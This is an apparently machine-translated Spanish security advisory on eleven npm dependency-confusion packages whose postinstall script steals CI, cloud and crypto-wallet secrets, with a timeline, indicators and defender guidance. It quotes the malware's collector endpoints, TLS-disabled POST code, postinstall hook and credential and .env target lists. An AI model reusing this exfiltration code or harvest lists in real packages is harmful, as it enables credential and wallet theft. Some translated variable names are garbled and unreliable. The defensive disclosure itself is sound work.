TL; DR
El 17 de junio de 2026, una única cuenta de npm publicó Once paquetes que comparten un mismo propósito y una misma carga útil.Diez de ellos llevan el cryptodao- prefijocryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); el undécimo es el ámbito @public-for-cdao/coreCada uno fue publicado en la versión 99.99.99 y envía un byte idéntico recon.js que corre postinstall.
Los nombres lo dicen todo. Parecen los bloques de construcción internos de la cadena de herramientas privada de un proyecto criptográfico/DAO. Publicados en el registro público de npm con una versión artificialmente alta, permanecen a la espera de una compilación. pipeline que está configurado para resolver esos nombres y que llega al npm público antes —o en lugar de— el registro privado. Esto es confusión de dependenciay la carga útil está ajustada para aterrizar exactamente donde espera: CI/CD los corredores.
Cuando postinstall incendios recon.js Recopila detalles del anfitrión, realiza barridos aproximadamente cuarenta variables de entorno de nube, CI y monedero de criptomonedas, lee cualquier .env archivos que puede encontrar y reenvía las líneas que contienen Secreto textualmente, luego transmite el paquete a dos recolectores — webhook.site y un punto final de Pipedream, con la verificación del certificado TLS deshabilitada. También se escribe una copia en /tmp.
Gravedad: highEcosistema afectado: npmLos once paquetes estaban disponibles en el momento de redactar este informe.
Anatomía de ataque
El mecanismo tiene cuatro partes móviles, y ninguna de ellas es sutil una vez que sabes que Mira un nivel más allá del nombre del paquete.
1. Inflación de versiones como señuelo para resolver problemas. Cada paquete declara la versión 99.99.99. La confusión de dependencias funciona cuando un gestor de paquetes, solicitado por un nombre interno, también verifica el registro público y elige la versión más alta que tenga encuentra. La selección predeterminada de npm para un rango de comodín o de cursor es la versión más satisfactoria en todas las fuentes configuradas; si ambas son privadas En caso de que el registro y la respuesta pública de npm tengan el mismo nombre, prevalece el número de versión más alto. A 99.99.99 supera esencialmente cualquier versión interna real que pueda tener un proyecto. alcanzado, por lo que un resolvedor que no está fijado a la fuente privada prefiere el copia pública —y en este caso, hostil—. El operador no necesita saber la números de versión reales del objetivo; elegir un máximo absurdo garantiza el empate siempre les abre el camino.
2. Un disparador posterior a la instalación. package.json conecta la carga útil a la instalación ciclo vital:
{ "scripts": { "postinstall": "node recon.js" } } No es necesario importar el paquete. Basta con instalarlo (lo cual se realiza mediante CI). pipeline lo hace automáticamente — se ejecuta recon.js.
3. Un amplio barrido de Secreto. recon.js ensambla una matriz de resultados por etapas:
- Contexto del host: nombre de host, plataforma y versión, arquitectura, nombre de usuario, funcionamiento directorio.
- Variables de entorno: itera sobre una lista fija de aproximadamente cuarenta nombres y registros. cualquiera que esté configurado. La lista es reveladora: empareja tokens CI genéricos. (TOKEN DE TRABAJO DE CI, CONTRASEÑA_REGISTRO_CI, TOKEN DE ACCESO A GITLAB) y nube cartas credenciales (AWS_ACCESS_KEY_ID, CLAVE DE ACCESO SECRETA DE AWS, TOKEN DE SESIÓN DE AWS) con registro y contenedor Secretos (NPM_TOKEN, CONTRASEÑA DE DOCKER, CONTRASEÑA_DEL_PUERTO) y un clúster con un marcado sabor criptográfico: CLAVE PRIVADA, MNEMOTÉCNICO, FRASE_SEMILLA, CLAVE_API_DE_INFURA, CLAVE_API_DE_ALCHEMY, ETH_RPC, BSC_RPCLos valores registrados se truncan a los primeros 50 caracteres.
- .env archivos: sondea una lista de rutas — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, y conectar .producción/.desarrollo variantes — y para cualquier archivo que exista, filtra el contenido a las líneas coincidentes CLAVE|Secreto|TOKEN|PASE|PRIVADO|MNEMOTÉCNICO y empuja esas líneas **completas, sin truncar**, a los resultados.
- Contexto del host de compilación: enumera las primeras 20 entradas de /construcciones/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, y / Tmp /.
La lista de rutas y la lista de variables están orientadas hacia los ejecutores de GitLab, lo que apunta la carga útil se dirige directamente a la infraestructura de CI autoalojada en lugar de a un desarrollador portátil. Agrupar la lista de la cosecha por categoría deja claro el botín previsto:
| Categoría | Variables / rutas alcanzadas |
|---|---|
| CI/CD identidad y despliegue | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_Secreto_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registro y contenedor | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| almacenes de datos | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Criptomonedas / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Mensajes | SLACK_TOKEN, DISCORD_TOKEN |
| En disco | .env familia + /home/gitlab-runner/.env, /root/.env, /app/**/.env; listados de directorios de /builds/, /var/lib/gitlab-runner/ |
El clúster criptográfico es la parte que distingue esto de un CI-Secreto genérico. barrido: las frases semilla de la billetera y las claves de firma solo aparecen en el entorno de un proyecto blockchain, y se mapean directamente en el criptodao-/firmante/contratos denominación de los transportistas.
4. Exfiltración dual con verificación desactivada. El conjunto recopilado es serializado y enviado mediante POST a dos destinos:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) Rechazar no autorizado: falso desactiva las comprobaciones de certificados TLS para el tráfico saliente. llamadas. Los mismos datos se imprimen en stdout (por lo que también llegan a los registros de trabajos de CI) y escrito a /tmp/.npm_recon_ .jsonLos errores se engullen silenciosamente, por lo que El envío fallido no deja rastro en la salida de la instalación más allá de un único [reconocimiento] instalado en la línea.
Un comentario principal en el archivo lo describe como una “Confusión de dependencias”. Carga útil de reconocimiento”. El truncamiento de los valores del entorno a 50 caracteres ha la forma de una prueba de concepto. Lo que la hace ir más allá de una baliza de solo presencia es la .env manejo: Las líneas portadoras de Secreto se envían en su totalidad y los destinos son dos recolectores en funcionamiento controlados por el atacante en lugar de un sumidero que solo cuenta golpes.
Cronograma
El patrón de publicación es la firma de un único envío programado, no de once. subidas independientes.
| Hora (UTC, 17 de junio de 2026) | Eventos |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 publicado |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variante con alcance, ~24 minutos después |
Se enviaron diez paquetes en un lapso de 29 segundos, aproximadamente uno cada tres segundos. El alcance @public-for-cdao/core Le siguió unos 24 minutos después: un segundo convención de nomenclatura para el mismo objetivo, en caso de que el proyecto consumidor haga referencia al cadena de herramientas internas bajo un ámbito en lugar de como simples nombres.
Indicadores de compromiso
| Tipo | Indicador |
|---|---|
| Coleccionista | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Coleccionista | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Instalar gancho | postinstall: node recon.js |
| Archivo descartado | /tmp/.npm_recon_<timestamp>.json |
| Marcador de registro | [recon] <pkg>@<ver> installed on <hostname> (Salida estándar en los registros de CI) |
| Salud Conductual | rejectUnauthorized: false en HTTPS saliente durante la instalación |
| carga útil | recon.jsidéntico en los once paquetes (una compilación compartida) |
| Versión | 99.99.99 en cada paquete |
| Paquetes | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (todos 99.99.99) |
| Publisher | aduljune / aduljune@proton.me (correo electrónico no verificado, sin repositorio de origen vinculado) |
Atribución y comportamiento observado
Todo en el clúster apunta a una sola cosa. Los once paquetes fueron publicados. por la cuenta npm aduljune (aduljune@proton.me, una dirección no verificada sin repositorio de código fuente vinculado), en un lapso de 25 minutos, al mismo tiempo 99.99.99 versión, envío a recon.js cuyo contenido es idéntico byte a byte en cada Paquete (coincidencias MD5 en las once copias extraídas). Esa es una carga útil. estampado en una lista de nombres, no reutilización de código independiente.
La lista de nombres define el objetivo previsto. criptodao-* y cdao describe el Diseño del módulo privado de un proyecto criptográfico/DAO y la lista de recolección de la carga útil. refleja esa suposición: junto con el CI genérico y Secretos en la nube, específicamente alcanza para CLAVE PRIVADA, MNEMOTÉCNICO, FRASE_SEMILLAy Ethereum/BSC RPC y claves del proveedor. El .env Las rutas de búsqueda y los listados de directorios son GitLab-runner específico. El efecto observable es que cualquier pipeline Engañados para instalar estos Los nombres reenviarían sus tokens CI, claves en la nube y en disco. .env Secretos — y, para un proyecto de blockchain, su material de billetera, a dos recolectores externos.
No afirmamos quién gestiona la cuenta ni qué planeaban hacer con ella. datos. Los hechos que se sostienen por sí mismos: los nombres apuntan a un tipo específico de cadena de herramientas interna, la carga útil lee y transmite valores Secreto reales, y el La infraestructura estaba operativa.
Impacto, tendencias y orientación para defensores
Confusión de dependencia sigue siendo eficaz porque explota el comportamiento del resolvedor, no un vulnerabilidad en cualquier paquete. El transportista aquí es trivial: once casi vacíos paquetes — pero el radio de explosión es lo que sea pipeline Prefiere erróneamente npm público para un nombre interno. Los ejecutores de CI son el peor lugar para que eso suceda: ellos mantienen exactamente los tokens y .env archivos que lee esta carga útil y que instala dependencias de forma no interactiva, por lo que una postinstalación corre sin que nadie lo vea.
Este grupo también se ajusta a un patrón que seguimos viendo: cargas útiles de tiempo de instalación que presentan como “investigación” o “reconocimiento” mientras se realiza una recopilación de credenciales real. La etiqueta en el archivo no cambia lo que hace el código en un ejecutor. Dos decisiones de diseño mantienen la actividad silenciosa: cada operación de red y sistema de archivos está envuelta en un manejador de excepciones que descarta errores, por lo que un envío bloqueado o un archivo faltante no produce ninguna salida de diagnóstico y lo único que se imprime es un único mensaje inocuo. [reconocimiento] … instalado línea que se integra en la charla normal de la instalación. El uso de webhook.sitio y Pipedream también es una conveniencia deliberada: ambos son gratuitos, servicios de captura de solicitudes aprovisionados instantáneamente, por lo que el operador no necesita servidores de Los nombres de host y destinos aparecen como nombres de host SaaS comunes en los registros de salida.
La economía es lo que hace que esto merezca la atención de un defensor, aunque el El código de operador es trivial. Registrar once nombres no cuesta nada, la carga útil es una El archivo se copia once veces y el gestor de paquetes realiza toda la ejecución. Un único mal configurado pipeline cualquier lugar que consuma uno de estos nombres paga por todo operación.
Medidas concretas para los defensores:
- Anclar los ámbitos internos a su registro privado. Configura npm para que los nombres internos
y los ámbitos se resuelven solo contra su registro (asignaciones de registro .npmrc con ámbito, o un proxy que nunca recurra a npm público para los espacios de nombres propios). Reserve los nombres de su ámbito público para que nadie más pueda registrarlos.
- Commit archivos de bloqueo e instalación con –ignore-scripts en CI donde sea factible, o Analizar el pequeño conjunto de dependencias que realmente necesitan scripts de instalación. recon.js no puede ejecutarse si postinstalación no se ejecuta.
- Trate una versión 99.99.99 (u otra absurdamente alta) de un nombre de apariencia interna como una señal de alerta en la revisión de dependencias y la monitorización del registro.
- Alerta en caso de salida durante la instalación. A postinstalación que abre una conexión HTTPS saliente conexión — especialmente con la verificación de certificados deshabilitada — a Vale la pena bloquear webhook.site, Pipedream o servicios similares de captura de solicitudes en el borde de la red y marcarlos en los registros de compilación.
- Busca los artefactos. Verifique los corredores para /tmp/.npm_recon_*.json y para el [recon] … instalado en … marcador en los registros recientes de CI. Si se encuentra, rotar cada credencial expuesta a eso pipeline — Tokens CI, claves en la nube, tokens de registro y cualquier semilla de billetera o clave privada presente en el entorno o en los archivos .env.
Referencias
No existían informes externos sobre este grupo al momento de redactar este informe; el análisis Lo anterior se basa directamente en el contenido publicado del paquete.




